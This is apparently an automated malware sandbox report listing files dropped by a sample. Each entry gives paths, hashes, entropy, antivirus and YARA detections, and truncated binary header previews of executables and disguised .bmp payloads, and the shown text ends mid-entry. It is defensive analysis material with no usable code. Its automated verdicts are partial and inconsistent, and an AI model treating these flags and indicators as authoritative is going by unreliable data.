Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L....(.[.........."!.........................................................0......t(....@A.............................................................?... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\zhZQz4Z3J7IY

Download File

Process:	C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.7876734657715041
Encrypted:	false
SSDEEP:	48:43KzOIIY3HzrkNSs8LKvUf9KnmlG0UX9q4lCm+KLka+yJqhM0ObVEq8Ma0D0HOlx:Sq0NFeymDlGD9qlm+KL2y0Obn8MouO
MD5:	CF7758A2FF4A94A5D589DEBAED38F82E
SHA1:	D3380E70D0CAEB9AD78D14DD970EA480E08232B8
SHA-256:	6CA783B84D01BFCF9AA7185D7857401D336BAD407A182345B97096E1F2502B7F
SHA-512:	1D0C49B02A159EEB4AA971980CCA02751973E249422A71A0587EE63986A4A0EB8929458BCC575A9898CE3497CC5BDFB7050DF33DF53F5C88D110F386A0804CBF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................[5....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\GWafJDbetTJK0ciVGh5n0Df1.exe.log

Download File

Process:	C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.355304211458859
Encrypted:	false
SSDEEP:	24:MLUE4Ko84qpE4Ks2wKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7r1qE4KE4j:MIHKov2HKXwYHKhQnoPtHoxHhAHKzvrx
MD5:	114108EB964C5D38C27CAB7C3381AF01
SHA1:	D45EE20D77AC0E69F9EF6884EE2E7B2C59F09E4C
SHA-256:	2A45D0A26AC1E50BC29E1250F3F3DCAD5B5A8AB42C1837586817793F865BB404
SHA-512:	5D9A1CD3F51EB8E7D853849F62A5EB3B4873CC45230C15DE665CD8A7C5A3953DF753D5F0264F8E7925B30B6DAD33C6E5E52A921B5C711635B336F3901683AFA8
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b880

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3Y2ADQKS\Galaxy_7[1].bmp

Download File

Process:	C:\Users\user\Desktop\fJe9em23BB.exe
File Type:	data
Category:	dropped
Size (bytes):	5239604
Entropy (8bit):	7.716925851554638
Encrypted:	false
SSDEEP:	98304:i7F2Ele5dMug8foEIWnmzonddH60WG9mHSrAOQ3jC82lQzpAFh9pp3Na7fi2mPD0:GF2YjHnO3D60aSpQ3jWl6GzZ3Na7AD4Z
MD5:	68B568BF06E450C63F1F84B95867FBF8
SHA1:	5CC4F825382FF91B84201C06E71C89A558015604
SHA-256:	F705F1FFC05F7BCDDF9EC594C53918DB911D7E7111C8C226E776F482975C3A81
SHA-512:	46F77794D0422B2D9042BE099BD3E4B079E4450F6F6BCF6B57340835D561C7BDF689D5D5C64BD23B756B3744058DE52F9801E112F5296FB124FF3F13F88988B4
Malicious:	false
Reputation:	unknown
Preview:	...]............bb..%................................................'..).P.%..P....................................................8.........}............-......7.......-.....................................O......................................U..)....=.3..........G..............................................U......................................................................................)..-..............................].............................]F..F..F.."......].....................F..F..F.}............}........................3..=................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3Y2ADQKS\setup331[1].exe

Download File

Process:	C:\Users\user\Desktop\fJe9em23BB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1474107
Entropy (8bit):	7.898790148989692
Encrypted:	false
SSDEEP:	24576:VJr8tEZgHqdIIx07IqYgLp4y1LYFhFnWTbt4U8kjmuSg8CjzpoNevyR:VJ4oOIFqYmpL1LYhnWTuSjwg963
MD5:	7C21DE05BE518F55C847F18E46F4F65D
SHA1:	7A4076496104920A8DB7431BC867E194507EE2D0
SHA-256:	BB6F9547116E50D957A93A2F571929FE086433F686521FA64970217B1D720B46
SHA-512:	16E2902C504F890A1A0A5521C12C504DE44724297D971F0B13062F608B6D8D8C22E4BA65AC4513E794263FD063AD7007BBE7B9DC6C62B43722FDEB8D0CE1D0B5
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........NB. .. .. .S6... .S6..j. .S6.... .F.... .F.$... .F.#.. .F.%.. ..... ..... ..!.. ...%... ... .. ...... ...".. .Rich. .................PE..L.... b.................b.......... B............@.......................................@.........................0...4...d...P...............................x(......T...............................@...............,............................text....a.......b.................. ..`.rdata..............f..............@..@.data...`]...0......................@....didat..`...........................@....rsrc...............................@..@.reloc..x(.......*..................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3Y2ADQKS\yare1095[1].exe

Download File

Process:	C:\Users\user\Desktop\fJe9em23BB.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3949568
Entropy (8bit):	7.826047385956034
Encrypted:	false
SSDEEP:	98304:5Hlmczc++8BF8C6By21hlcOUEFDKMYrY5ok8:rmUcjny4lcvKODYb8
MD5:	77D8DF4427C8B1A28C8D2591A9C92A70
SHA1:	9A0E1CA712F93F4AB30B162F5C9B04D9C825F1F9
SHA-256:	00CBD7C3427B9D2E960BD1D3FB04D3897A7C53486B52E5C42F0C2C6678A63762
SHA-512:	8204C35C4B4AA6A15C4D32D8600D0792E21296AF633FC0AB45141ABDFD7BCF0FB9B96A972F7734E01CA0EE9002D0E730F6380C5593ED0CA5E534C7C48ED83B98
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...\n.c..........#...................T........@............................. j........... ................................................. c8.......j.......i.............................................;/.0...P.i.8............................................text.............................. ..`.rdata..\|V..........................@..@.data........0......................@....pdata..............................@..@_RDATA.......`......................@..@.vmp0...\|_...p......................`..`.vmp1...t=<...-..><.................`..h.rsrc.........j......B<.............@..@................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\Service[1].exe

Download File

Process:	C:\Users\user\Desktop\fJe9em23BB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	410112
Entropy (8bit):	6.362808688244883
Encrypted:	false
SSDEEP:	6144:NrkuBHTtY9Jgfq80nzm5tBD2AsG8x0Ca0Hv06A0md0OUGHLzmijOceK2HSw3pXqC:NrkIT/y8T5PVsSnXOc+HSQJKLw
MD5:	9519C85C644869F182927D93E8E25A33
SHA1:	EADC9026E041F7013056F80E068ECF95940EA060
SHA-256:	F0DC8FA1A18901AC46F4448E434C3885A456865A3A309840A1C4AC67FD56895B
SHA-512:	DCC1DD25BBA19AAF75EC4A1A69DC215EB519E9EE3B8F7B1BD16164B736B3AA81389C076ED4E8A17A1CBFAEC2E0B3155DF039D1BCA3C7186CFEB9950369BCCF23
Malicious:	true
Yara Hits:	Rule: MALWARE_Win_DLInjector06, Description: Detects downloader / injector, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\Service[1].exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........H\.i.\.i.\.i...j.V.i...l...i...m.M.i...j.J.i...l.w.i...m.I.i...h.U.i.\.h. .i...`.Y.i.....].i...k.].i.Rich\.i.........................PE..L...S..b.................Z...................p....@.......................................@.................................8...d....@.......................P...&..\...8...............................@............p...............................text.../Y.......Z.................. ..`.rdata..F....p.......^..............@..@.data........ ......................@....rsrc........@......................@..@.reloc...&...P...(..................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\TrdngAnr6339[1].exe

Download File

Process:	C:\Users\user\Desktop\fJe9em23BB.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	616448
Entropy (8bit):	5.164277290666237
Encrypted:	false
SSDEEP:	6144:KLuAvRbXvC79gVoA550CbeoLFroWiYfQ82bAGpMTO0I6:KLuAv9vo9gVoA57TLiEhGgO8
MD5:	6590C006DA1047AB975529D3ED46619A
SHA1:	397D8C152FBF0B746AEB7E69141C662297AA9379
SHA-256:	1C986AFB6B41D43BBC3D526DAD0629C3903AED6F88E0D4A86014748617DFAB5A
SHA-512:	C9FEE15FD842CA4614AEA06C48EE51D143B9E4F187C16533762D4CD831910D38E163AAA0C639D72FBB4A3E57D81DE31FB58DB40C63546CF3A4D609D17BF8CA0F
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........zuP.............c.......c.......c.......c.......c.......p..............kb......kb......kb......Rich....................PE..L...6{.c...............!.....T......2........0....@..........................@............@.................................t5......................................02..8...........................p1..@............0...............................text...t........................... ..`.rdata.......0......................@..@.data...,E...@...B...$..............@....reloc...............f..............@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\installer[1].exe

Download File

Process:	C:\Users\user\Desktop\fJe9em23BB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3210240
Entropy (8bit):	7.948059560743614
Encrypted:	false
SSDEEP:	98304:mHjaMebZao0p4kwkC/yRLmsH5NnyjqCgcg:mH2vaoy3wkC/yRLb5Nny
MD5:	106078BB0964B75800DA2013419239D9
SHA1:	44F3C39446CEBB7349697703CC88BD0C014B6C7E
SHA-256:	7E0BD7043B674F37A6C086FCD8AA5DDB0EC4BA675E4860E30F88ABE3CFE4B879
SHA-512:	E9172ECBDDC2D11291D6DA05A65D967984C72317D525451AD13DBD6931B5B1BF580237926A4F6CD40D265F5B559EFAA961352E348CE22827B3E52552CA618B7E
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...w;.......................X......pCN.. ........@.. ........................x.......1...`.................................:`..P........U.......................................................................................................... ..... ...................... ..`.rsrc....U.......V..................@..@ .....@.......j..............@..B.idata... ...`.......l..............@....themida..D..........n..............`....boot.......@N.....n..............`..`................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\G62TDH9B\911[1].bmp

Download File

Process:	C:\Users\user\Desktop\fJe9em23BB.exe
File Type:	data
Category:	dropped
Size (bytes):	86020
Entropy (8bit):	6.234321563520327
Encrypted:	false
SSDEEP:	1536:/DhT6pCC4WHI9yAB7Ugax3pE/km8J641z1LcP6dp8pWAj:7hTIvzHwrWe/aJ6oz1wP6dpOWAj
MD5:	B6F643332EC81DBF0444E9B977BFD076
SHA1:	E615469F60E833C0C27D040DB680A91DD1A090D5
SHA-256:	9D8DA0A303DF18BC3F7964E695F8C58A40E229953B1D3EE64C7D6D3FAD88CD3E
SHA-512:	CE2A35F634E3860FA6631350429FCBC530DC255C574044669C04F4A95FA2353C29E4F730390E267B008EAECA25E368080F561BD479A5E814C84E29046DDB80B3
Malicious:	false
Reputation:	unknown
Preview:	...]............bb..%..........................................m.....'..).P.%..P.............................................?^j.{?..{?..{?...0[.z?..\.y.o?..\.j.J?..\.i..?...0Y.\|?..{?...?..\.v.y?..\.\|.z?......{?................................H..........}........}.........i........m....................................4...............................................-..........................................................................m.....................................B.......}.............................K....m.......m........................y.............................]........-.......................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\G62TDH9B\baydsstysfhksf_c[1].bmp

Download File

Process:	C:\Users\user\Desktop\fJe9em23BB.exe
File Type:	data
Category:	dropped
Size (bytes):	6882820
Entropy (8bit):	7.9041656244284475
Encrypted:	false
SSDEEP:	98304:RNrLf0ANznbk8D6Qkza2RD53fuQnVROvh78lr8TmbDXcFcSU1uTPGsOWGh4t2+rQ:HDTLX0tEQnmS6SXGcSTysOWGuBq2HQ
MD5:	03256D6C03AD81F1850D3084342D0FD5
SHA1:	D47389EDE6914CDC333CFAADC45ACBA40A378EFB
SHA-256:	B49E72A86A115F607CD9ED1F546B1DA59DE6641CA89AA197B051A49A88C402DE
SHA-512:	9CCF84623A2149658D1808166786F4FCF6EF8E2CD804023F54B19294D4FA873DD093A989ED596D096B112514612C47E4A079D7CFD259E0B3B972BABE14CC286B
Malicious:	false
Reputation:	unknown
Preview:	...]............bb..%................................................'..).P.%..P.....................................................g.........}........;..........'......]...............................?.....................................q*.............]..............................................................................m..M..................................8.....................................E....]................................u....}........................]............m................................t........................................m........................]......../......./.................................]......'............................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\G62TDH9B\output_3[1].bmp

Download File

Process:	C:\Users\user\Desktop\fJe9em23BB.exe
File Type:	data
Category:	dropped
Size (bytes):	1280004
Entropy (8bit):	6.437010869902694
Encrypted:	false
SSDEEP:	24576:eOzouy5fffMj/KJoodIOCy3YGA/AcF5Pbbb3bYH6YjpxqMEp:1zdbOCy3YkcFynkL
MD5:	4FA063EDB75F343AFE9F729CD960CE57
SHA1:	40A2B10D9E3C70E7C679BC0286684ECBC3BF48BA
SHA-256:	8CB54D4A1D99A9E66D6B13A312F7A1D91F23C823ED50C4EE77444029C57DEACE
SHA-512:	152EAB22C775593E3DAAEB85BB82C7FBA23121C2476127965F5CB8421A09EC57D0CD7EF222CB42FE70A8D3C3826BC89BB7EEBEA8F04FA5F2D4357526A73993D5
Malicious:	false
Reputation:	unknown
Preview:	...]............bb..%................................................'..).P.%..P...............................................................}........k..........-.......................................}...............................................=..a....M..............................................................................?..%.................................-i.......k.............................R.......M...g................]........I7...}...1...W...................................................]........a....=......................]............-........................]...........]........................]............M....................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\G62TDH9B\setup1[1].bmp

Download File

Process:	C:\Users\user\Desktop\fJe9em23BB.exe
File Type:	data
Category:	dropped
Size (bytes):	2574753
Entropy (8bit):	7.996460855659523
Encrypted:	true
SSDEEP:	49152:Fua4O8Q45Bmtl9SlQv336CqKtMp5f5CAgD6I96n+Qf3/YtGN75YRhEm4M8:FuzQ45By3SYqKtMp5BCfbyGGTw4M8
MD5:	642E6304E604B0F92537A6A4E1AC57F6
SHA1:	BD7A04266C7AA56E07ABA655025A0BA010705296
SHA-256:	87DF182DDE13E6412993E752841910FD45AB00C040B2E4219DA03AD68C00AA2A
SHA-512:	88EF881DC29CFE6E8690EA626494E6657EDCDD2518399455C0A9B576B54E56DA0D7B5DA4DF792A1E50A81ED148BFFE32E807B6C16E8E63FAB17E01AFCB7DE9B4
Malicious:	false
Reputation:	unknown
Preview:	...]...........bb..%..............................................'....).P.%..P.............................................................................................................................................................................................}..................E........=.............................................................................]..............................................................}.............................................................a..........................................=........................]............-.........................]............]........................]...........M.......?.................].............}.......?........................=....m.......9.....................................9.....................................E....................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\Service[1].exe

Download File

Process:	C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	410112
Entropy (8bit):	6.362808688244883
Encrypted:	false
SSDEEP:	6144:NrkuBHTtY9Jgfq80nzm5tBD2AsG8x0Ca0Hv06A0md0OUGHLzmijOceK2HSw3pXqC:NrkIT/y8T5PVsSnXOc+HSQJKLw
MD5:	9519C85C644869F182927D93E8E25A33
SHA1:	EADC9026E041F7013056F80E068ECF95940EA060
SHA-256:	F0DC8FA1A18901AC46F4448E434C3885A456865A3A309840A1C4AC67FD56895B
SHA-512:	DCC1DD25BBA19AAF75EC4A1A69DC215EB519E9EE3B8F7B1BD16164B736B3AA81389C076ED4E8A17A1CBFAEC2E0B3155DF039D1BCA3C7186CFEB9950369BCCF23
Malicious:	false
Yara Hits:	Rule: MALWARE_Win_DLInjector06, Description: Detects downloader / injector, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\Service[1].exe, Author: ditekSHen
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........H\.i.\.i.\.i...j.V.i...l...i...m.M.i...j.J.i...l.w.i...m.I.i...h.U.i.\.h. .i...`.Y.i.....].i...k.].i.Rich\.i.........................PE..L...S..b.................Z...................p....@.......................................@.................................8...d....@.......................P...&..\...8...............................@............p...............................text.../Y.......Z.................. ..`.rdata..F....p.......^..............@..@.data........ ......................@....rsrc........@......................@..@.reloc...&...P...(..................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\ping[1].htm

Download File

Process:	C:\Program Files (x86)\ccSearcher\ccsearcher.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Reputation:	unknown
Preview:	0

C:\Users\user\AppData\Local\Temp\db.dat

Download File

Process:	C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe
File Type:	data
Category:	dropped
Size (bytes):	571230
Entropy (8bit):	7.964579681710588
Encrypted:	false
SSDEEP:	12288:FV1e0UgkVT6ZT+3JCnoxgLSoCXwbePLJrH8fwpZ:FV1edgkV8T0CnoxX4ePLJTMwpZ
MD5:	6F5100F5D8D2943C6501864C21C45542
SHA1:	AD0BD5D65F09EA329D6ABB665EF74B7D13060EA5
SHA-256:	6CBBC3FD7776BA8B5D2F4E6E33E510C7E71F56431500FE36DA1DA06CE9D8F177
SHA-512:	E4F8287FC8EBCCC31A805E8C4CF71FEFE4445C283E853B175930C29A8B42079522EF35F1C478282CF10C248E4D6F2EBDAF1A7C231CDE75A7E84E76BAFCAA42D4
Malicious:	false
Reputation:	unknown
Preview:	P,..Hh.j...?...O}3..8v,)cml.T/.....V.r.....n.?y..oz#V......N.{.....!....Y."..)v.T.........Ub.V...)..8..,.%.{4.yWrA.a36&..,...V...l9.y....39.y...wW.j.ox.....I..;..%..p.b..>..j.....j..awT..r...j....o./.7...,=uk..i../h..jj.P.j..?.-X.k..R}.j.5.b-F.k..c........j...j..Q?...).qe......,o'k.....j.J..))O.......k..\.....u,..k...,..k....k...tOT.X.jXe-.k..7.k...83U.......%..o.....Y%.....7.F.(j...KP..I..j..y...o..no......z......u/..DJP.e+.Dj..Z....k.......j$T.X.j[..`....o....k{..2\|6...H.....c%..........z......~^..j.-s.....o.-........6.L.`.j.-s.....i\|..y.Q'....k...}FT.X.jY..Y....o......y..=\|6..%..z/........s....>.j.-s.k../.:..........>\|/...h...2/..R..-......k....9.y.....j.6Z.j.o....l&..%.UD..`....&..t>".6g..j,..../W=..5...n.......X..h>.k..'...\|/h..jfDX.S...`&...Y....)U]bc[......'(..l..+....b.i....[...If!S...r......i.....Q^.......aeddT.`.'....*.[.h....e...?>....n....5......-..j..T..ow......k....-...k16.+i(~..L....j,...c.L./w=j...~./

C:\Users\user\AppData\Local\Temp\db.dll

Download File

Process:	C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	61440
Entropy (8bit):	5.463972317214072
Encrypted:	false
SSDEEP:	768:WDKKrolwgA7W2cz1Pii4A1yZHtVtQg0eBU:KKPi2Fii4TrtQg0e
MD5:	4D11BD6F3172584B3FDA0E9EFCAF0DDB
SHA1:	0581C7F087F6538A1B6D4F05D928C1DF24236944
SHA-256:	73314490C80E5EB09F586E12C1F035C44F11AEAA41D2F4B08ACA476132578930
SHA-512:	6A023496E7EE03C2FF8E3BA445C7D7D5BFE6A1E1E1BAE5C17DCF41E78EDE84A166966579BF8CC7BE7450D2516F869713907775E863670B10EB60C092492D2D04
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........)a..H..H..H..r.H..a.H..b..H..oGR.H..H...H..}.H..u.H..w.H..Rich.H..........PE..L....^.c...........!.....p...p..........................................................................................b.......(........&.......................................................... ...@............................................text....g.......p.................. ..`.rdata........... ..................@..@.data...............................@....rsrc....0.......0..................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp

Download File

Process:	C:\Users\user\Pictures\Minor Policy\3IvnW3Tihs6HZPHX18cvdMMt.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	673792
Entropy (8bit):	6.456753052904264
Encrypted:	false
SSDEEP:	12288:T4mxWBLxEArPb37VzHZA6xNAwtmVNxE7UwRJWcUu7OLxG:UmxWBLxEArPb37VzHZA6FtmAhUuiLxG
MD5:	FEC7BFF4C36A4303ADE51E3ED704E708
SHA1:	487C0F4AF67E56A661B9F1D99515FF080DB968C3
SHA-256:	0414EEFF52F63CB32E508FE22C54AEDB399E7A6BAAAB94A81081073DBE78C75F
SHA-512:	1267A0B954F3315B067883FF6AE8D599166CCFE35F1C7770E29F5F66A13650D4E1AE7F04C0B48E3DA0875FB6C7127892F4A6ECD6214F43F6BEB5013F55FE94D0
Malicious:	false
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*..........................................@..........................0...................@..............................<%.......<...................................................P......................................................CODE................................ ..`DATA....`...........................@...BSS.....`................................idata..<%.......&..................@....tls.........@...........................rdata.......P......................@..P.reloc......`......................@..P.rsrc....<.......<..................@..P.............0......................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-NIR25.tmp\_isetup\_RegDLL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3584
Entropy (8bit):	4.012434743866195
Encrypted:	false
SSDEEP:	48:iAnz1hEU3FR/pmqBl8/QMCBaquEMx5BCwSS4k+bkguj0K:pz1eEFNcqBC/Qrex5MSKD
MD5:	C594B792B9C556EA62A30DE541D2FB03
SHA1:	69E0207515E913243B94C2D3A116D232FF79AF5F
SHA-256:	5DCC1E0A197922907BCA2C4369F778BD07EE4B1BBBDF633E987A028A314D548E
SHA-512:	387BD07857B0DE67C04E0ABF89B754691683F30515726045FF382DA9B6B7F36570E38FAE9ECA5C4F0110CE9BB421D8045A5EC273C4C47B5831948564763ED144
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................H................\|.......\|.......\|......Rich............PE..L.....%E..................................... ....@..........................@..............................................l ..P....0..8............................................................................ ..D............................text............................... ..`.rdata....... ......................@..@.rsrc...8....0......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-NIR25.tmp\_isetup\_iscrypt.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	2.8818118453929262
Encrypted:	false
SSDEEP:	24:e1GSgDIX566lIB6SXvVmMPUjvhBrDsqZ:SgDKRlVImgUNBsG
MD5:	A69559718AB506675E907FE49DEB71E9
SHA1:	BC8F404FFDB1960B50C12FF9413C893B56F2E36F
SHA-256:	2F6294F9AA09F59A574B5DCD33BE54E16B39377984F3D5658CDA44950FA0F8FC
SHA-512:	E52E0AA7FE3F79E36330C455D944653D449BA05B2F9ABEE0914A0910C3452CFA679A40441F9AC696B3CCF9445CBB85095747E86153402FC362BB30AC08249A63
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.c.W.c.W.c...>.T.c.W.b.V.c.R.<.V.c.R.?.V.c.R.9.V.c.RichW.c.........................PE..L....b.@...........!......................... ...............................@......................................p ..}.... ..(............................0....................................................... ...............................text............................... ..`.rdata....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-NIR25.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5632
Entropy (8bit):	4.203889009972449
Encrypted:	false
SSDEEP:	48:SvTmfWvPcXegCWUo1vlZwrAxoONfHFZONfH3d1xCWMBgW2p3SS4k+bkg6j0K:nfkcXegjJ/ZgYNzcld1xamW2pCSKv
MD5:	B4604F8CD050D7933012AE4AA98E1796
SHA1:	36B7D966C7F87860CD6C46096B397AA23933DF8E
SHA-256:	B50B7AC03EC6DA865BF4504C7AC1E52D9F5B67C7BCB3EC0DB59FAB24F1B471C5
SHA-512:	3057AA4810245DA0B340E1C70201E5CE528CFDC5A164915E7B11855E3A5B9BA0ED77FBC542F5E4EB296EA65AF88F263647B577151068636BA188D8C4FD44E431
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d......E..........#............................@.............................`..............................................................<!.......P..8....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...8....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-NIR25.tmp\_isetup\_shfoldr.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-H5KLL.tmp\is-L9EAU.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	23312
Entropy (8bit):	4.596242908851566
Encrypted:	false
SSDEEP:	384:+Vm08QoKkiWZ76UJuP71W55iWHHoSHigH2euwsHTGHVb+VHHmnH+aHjHqLHxmoq1:2m08QotiCjJuPGw4
MD5:	92DC6EF532FBB4A5C3201469A5B5EB63
SHA1:	3E89FF837147C16B4E41C30D6C796374E0B8E62C
SHA-256:	9884E9D1B4F8A873CCBD81F8AD0AE257776D2348D027D811A56475E028360D87
SHA-512:	9908E573921D5DBC3454A1C0A6C969AB8A81CC2E8B5385391D46B1A738FB06A76AA3282E0E58D0D2FFA6F27C85668CD5178E1500B8A39B1BBAE04366AE6A86D3
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......IzJ^..$...$...$...%.".$.T87...$.[."...$...$...$.Rich..$.........................PE..L.....\;...........#..... ...4.......'.......0.....q....................................................................k...l)..<....@.../...................p..T....................................................................................text...{........ .................. ..`.data...\....0.......&..............@....rsrc..../...@...0...(..............@..@.reloc.......p.......X..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vpgy.cpl

Download File

Process:	C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1654784
Entropy (8bit):	7.064029184710635
Encrypted:	false
